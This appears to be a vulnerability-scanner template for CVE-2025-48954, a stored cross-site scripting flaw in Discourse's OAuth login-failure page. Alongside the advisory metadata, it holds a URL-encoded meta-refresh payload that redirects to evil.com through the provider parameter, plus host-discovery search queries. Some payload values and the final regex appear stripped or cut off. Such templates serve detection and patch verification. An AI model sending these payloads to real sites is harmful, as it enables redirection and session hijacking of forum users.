id: CVE-2025-48954 info: name: Discourse OAuth Social Login - Cross-site Scripting author: ferreiraklet,DhiyaneshDK,pdresearch severity: high description: | Discourse versions prior to 3.5.0.beta6 contain a stored Cross-Site Scripting (XSS) vulnerability in the OAuth/social login functionality. The vulnerability is caused by lack of proper content security policy enforcement when processing social login failures,allowing remote attackers to inject and execute malicious scripts in users' browsers. impact: | Attackers can inject malicious scripts through the provider parameter in OAuth login failures, executing JavaScript in victim browsers and potentially achieving session hijacking. remediation: Update the discourse to version 3.5.0.beta6 or later. reference: - https://github.com/discourse/discourse/security/advisories/GHSA-26p5-mjjh-wfcf - https://nvd.nist.gov/vuln/detail/CVE-2025-48954 classification: cve-id: CVE-2025-48954 cwe-id: CWE-79 epss-score: 0.0063 epss-percentile: 0.4649 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N cvss-score: 8.1 cpe: cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* metadata: verified: true max-request: 5 shodan-query: http.component:"Discourse" fofa-query: app="Discourse" zoomeye-query: app:"Discourse" hunter-query: web.title="Discourse" tags: cve,cve2025,discourse,xss,oauth,vuln variables: # XSS payloads for different exploitation scenarios redirect_payload: "%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttps%3A//evil.com%22%3E" basic_xss: "" http: - method: GET path: # Test 1: Open redirect via meta refresh injection - '{{BaseURL}}/auth/failure?provider={{redirect_payload}}' # Test 2: Basic XSS payload injection - '{{BaseURL}}/auth/failure?provider={{basic_xss}}' matchers: - type: dsl name: open-redirect-meta-refresh dsl: - 'contains(body, "")' - 'contains(to_lower(body), "discourse")' - 'status_code == 200' condition: and - type: dsl name: basic-xss-execution dsl: - 'contains(body, "onload=alert(")' - 'contains(body, "XSS-CVE-2025-48954")' - 'contains(to_lower(body), "discourse")' - 'status_code == 200' - '!contains(to_lower(header), "content-security-policy")' condition: and extractors: - type: regex name: discourse_version group: 1 regex: - '